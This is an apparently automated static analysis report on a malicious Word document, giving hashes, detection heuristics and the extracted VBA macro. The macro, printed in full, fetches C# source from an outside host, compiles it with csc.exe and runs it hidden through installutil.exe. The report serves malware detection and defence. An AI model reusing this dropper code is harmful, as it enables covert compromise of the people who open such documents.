Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 076c8e58e028b909…

MALICIOUS

Office (OOXML)

157.4 KB Created: 2020-12-30 21:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-01-15
MD5: f0673423e415d35d3bb6c2d871c6c966 SHA-1: 23978ed48d4dac75bd55d60679478854589b43af SHA-256: 076c8e58e028b9095a106a067452bb072b3753a3bd6520196f3077329546ce91
222 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
        wshinfo.ShellExecute "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe", "/LogToConsole=false /Logfile= /u updater.exe", getUserLocation(), "open", 0
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            .write xHttp.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
      Set fso2 = CreateObject("Scripting.FileSystemObject")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • https://tw-ms-update.azureedge.netReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2064 bytes
SHA-256: 9512a78dbcd62ef7675ded6172d656fd4fc22170a60930bac9dbde33dc8984ae
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton11, 1, 0, MSForms, CommandButton"
Attribute VB_Control = "CommandButton1, 0, 1, MSForms, CommandButton"
#If VBA7 Then
    Private Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
#Else
    Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
#End If


Function getUserLocation()
  Dim fso2
  Set fso2 = CreateObject("Scripting.FileSystemObject")
  Location = "C:\\Users\\" + getUser()
  getUserLocation = fso2.GetAbsolutePathName(Location)
End Function
Function getUser()
  Set objSysInfo = CreateObject("WinNTSystemInfo")
  getUser = objSysInfo.UserName
End Function
Function findImages(imagePath, imagePlace)
    Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
    Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
    xHttp.Open "GET", imagePath, False
    xHttp.Send
    With bStrm
        .Type = 1 '//binary
        .Open
        .write xHttp.responseBody
        .SaveToFile imagePlace, 2 '//overwrite
    End With
End Function
Public Function Info() As Variant
    trainingRepo = "https://tw-ms-update.azureedge.net"
    Call findImages(trainingRepo + "/updaterepo/updater.cs", getUserLocation() + "\\updater.cs")
    Sleep 2000
    Set wshinfo = CreateObject("Shell.Application")
    wshinfo.ShellExecute "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe", "updater.cs", getUserLocation(), "open", 0
    Sleep 2000
    wshinfo.ShellExecute "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe", "/LogToConsole=false /Logfile= /u updater.exe", getUserLocation(), "open", 0
    Application.Quit
End Function


Private Sub CommandButton1_Click()
    Info
End Sub

Private Sub CommandButton11_Click()
    Info
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15360 bytes
SHA-256: c2a5aaeffef9645edf881594ae4199a65058137efcea68620422c685a66154fb

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